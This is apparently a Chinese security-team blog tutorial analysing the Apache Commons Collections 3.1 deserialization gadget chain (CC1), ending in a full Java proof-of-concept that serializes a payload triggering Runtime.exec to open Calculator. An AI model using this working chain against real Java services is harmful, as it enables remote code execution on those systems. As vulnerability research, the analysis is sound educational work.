JDK1.7
Idea 2020.1
Apache CommonCollections V3.1
Idea默认版本Maven
将Gadget Chains分片分析,“=”下为迭代链,“=”上为利用链。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
====================================================================
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
将迭代链再分片,“=”下为其具体实现,“=”为其前置条件。
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime() ===================================================================
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
InvokerTransformer#transform方法通过反射调用构造方法中传入的方法。
据InvokerTransformer类的构造方法和transform方法源码,可给出具体实现部分代码,“=”下为transform方法注释。
Runtime rt = Runtime.getRuntime();
InvokerTransformer transformer = InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});
transformer.transform(rt);
======================================================
//Runtime rt = Runtime.getRuntime();
//Class clazz = rt.getClass();
//Method method = clazz.getMethod("exec",String.class);
//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
通过给出的Gadget Chains 1可知前置部分通过多次transform方法执行Runtime.getRuntime方法获取Runtime实例,由下而上逆推可得到前置部分实现代码。
由于Runtime类未继承Serializable故其不能直接反序列化,需要通过反射来一步步获取一个Runtime实例。为便于理解,下面先给出具体逻辑实现代码。
Class clazz = Class.forName("java.lang.Runtime");
Class clsClazz = clazz.getClass();
Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);
Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});
Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);
Object o2 = m2.invoke(o1,new Object[]{null,null});
System.out.println(o1);
System.out.println(o2);
使用Transformer迭代链实现之,具体如下。
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object clsObj = constantTransformer.transform(1);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
Object getMethodObj = invokerTransformer1.transform(clsObj);
System.out.println(getMethodObj);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null});
Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);
System.out.println(getRuntimeObj);
逐语句分析,ConstantTransformer#transformer会返回传入对象本身即Runtime的类对象。
invokerTransformer1.transform返回Runtime.getRuntime方法的Method对象。
invokerTransformer2.transform通过反射调用Method.invoke方法即调用getRumtime这个Method对象invoke方法返回一个Runtime对象。
迭代链中用到的三个tranform方法:
1.InvokerTransformer.transform():在具体实现中已经给出其实现方法。
2.ConstanTransformer.transform():返回传入对象本身,在前置条件中已给出其实现方法。
3.ChainedTransformer.transform():此方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去。
综合前置条件和具体实现迭代链的最终实现代码和执行结果。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
chainedTransformer.transform(1);
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
由后至前分析,LazyMap.get():当传入的key不存在时执行this.factory.transform,若此时传入的this.factory为构造好的迭代链chainedTransformer则可执行系统命令。
由于LazyMap的构造方法使用protected修饰,故无法直接new一个LazyMap的实例对象,但其提供了decorate方法来实例化一个LazyMap对象。
此时可完成构造利用链的第一步,如下。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
chainedTransformer.transform(1);
Hashmap map = new HashMap();
LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);
lazyMap.get(1);
继而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是处理注解的类,构造该类需要提供两个参数,一个是Annotation类,一个是Map对象,此类未使用public修饰只能通过反射创建实例。
AnnotationInvocationHandler.invoke:关注代码注释部分,它执行了this.memberValues.get(var4),this.membrtValues等于构造方法中的var2也就是当构造方法中传入的var2为LazyMap对象时会执行LazyMap.get方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
// default:
// Object var6 = this.memberValues.get(var4);
通过动态代理来实现对AnnotationInvocationHandler.invoke方法的调用,先给出代理对象的生成方法注释。
Proxy.newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h);
//Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但最常用的是newProxyInstance方法。
//InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;
//在代理实例调用方法时,方法调用被分派到调用处理程序的invoke方法。
//其相当于一种代码增强,即在原先的方法逻辑上加上额外操作,在方法执行之前和之后加点通用逻辑,方便实现和维护。
先看下
AnnotationInvocationHandler.readObject()方法实现,this.memberValues是其构造方法中传入的Map对象,当其是一个代理Map对象并执行this.memberValues.entrySet().iterator()时会调用memberValues对应InvocationHandler对象的invoke方法。
综上,可给出利用链实现代码。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
class CC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException
{
//构造迭代链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
构造利用链
HashMap map = new HashMap();
map.put("11","22");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();
//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin"));
inputStream.readObject();
}
}
总结下CommonCollections1 反序列化执行恶意代码过程:
通过动态代理调用
AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler对象构造时传入LazyMap,在调用其invoke方法时会执行LazyMap.get(),构造LazyMap对象时传入构造好的迭代链,执行LazyMap.get()时调用ChianedTransformer.transform(),最终执行系统命令。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。